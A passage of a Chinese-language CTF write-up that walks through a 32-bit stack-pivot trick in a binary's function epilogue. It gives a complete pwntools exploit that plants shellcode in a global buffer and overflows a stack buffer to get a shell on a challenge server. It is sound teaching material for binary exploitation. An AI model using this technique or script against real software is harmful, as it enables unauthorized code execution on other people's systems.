首先有lea esp ,[ebp - 8]
将栈顶移动到栈底-8的位置,正好就是我们能够控制的最后4byte
之后将这个值赋给ecx
之后进行一些操作(似乎无关紧要)
最后将栈顶esp写为ecx-4 后ret
根据我们对于汇编的理解,ret
等同于pop eip;
实质上相当于将当前栈指针跳转到ebp
。
了解了这一个关键代码,我们就可以开始写exp了
首先是全局变量s,我们在s开头的4byte写入一个指向S+0x4的指针,即0x804A044,再再s+0x4的位置布置shellcode,这样在ret过来的时候,可以直接由这个指针跳转到shellcode运行;
其次在栈上的s,由于会先匹配"yes\n",我们先写入yes\n\x00(截断),之后填充,但是要保证ebp-8处的位置是0x804A044
from pwn import * context(arch = 'i386', os = 'linux', log_level = 'debug') #p = process("./pwn02") p = remote("pwn.challenge.ctf.show",28168) s_addr = 0x804A044 payload1 = p32(s_addr)+asm(shellcraft.sh()) p.sendlineafter('your shellcode',payload1) #gdb.attach(p,'b puts') payload2 = 'yes\n\x00' + '\x00'*3 #padding to 8 payload2 += p32(s_addr)*3 p.sendlineafter('shellcode????',payload2) p.interactive()
Comments | NOTHING